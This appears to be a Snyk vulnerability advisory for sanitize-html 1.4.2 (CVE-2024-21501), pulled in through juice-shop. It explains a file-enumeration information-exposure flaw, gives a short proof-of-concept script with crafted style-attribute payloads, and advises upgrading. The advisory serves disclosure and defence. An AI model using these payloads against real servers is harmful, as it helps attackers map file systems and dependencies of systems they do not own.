Medium severity - Information Exposure vulnerability in sanitize-html (package.json)

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• Package Manager: npm
• Vulnerable module: sanitize-html
• Introduced through: juice-shop@12.3.0 and sanitize-html@1.4.2

  Detailed paths

• Introduced through: juice-shop@12.3.0 › sanitize-html@1.4.2

  Overview

  sanitize-html is a library that allows you to clean up user-submitted HTML, preserving whitelisted elements and whitelisted attributes on a per-element basis

Affected versions of this package are vulnerable to Information Exposure when used on the backend and with the style attribute allowed, allowing enumeration of files in the system (including project dependencies). An attacker could exploit this vulnerability to gather details about the file system structure and dependencies of the targeted server.

PoC

// index.js
const sanitizeHtml = require('sanitize-html');

const file_exist = `<a style='background-image: url("/*# sourceMappingURL=./node_modules/sanitize-html/index.js */");'>@slonser_</a>`;
const file_notexist = `<a style='background-image: url("/*# sourceMappingURL=./node_modules/randomlibrary/index.js */");'>@slonser_</a>`;

const file_exist_clean = sanitizeHtml(file_exist, {
allowedAttributes: { ...sanitizeHtml.defaults.allowedAttributes, a: ['style'] },
})

const file_notexist_clean = sanitizeHtml(file_notexist, {
    allowedAttributes: { ...sanitizeHtml.defaults.allowedAttributes, a: ['style'] },
})
console.log(file_exist_clean, "// valid file path on backend")
console.log(file_notexist_clean, "// invalid file path on backend")

Remediation

Upgrade sanitize-html to version 2.12.1 or higher.

References

• Github Commit
• Github Discussion
• GitHub Gist
• Github PR
  SNYK-JS-SANITIZEHTML-6256334
  (CVE-2024-21501) sanitize-html@1.4.2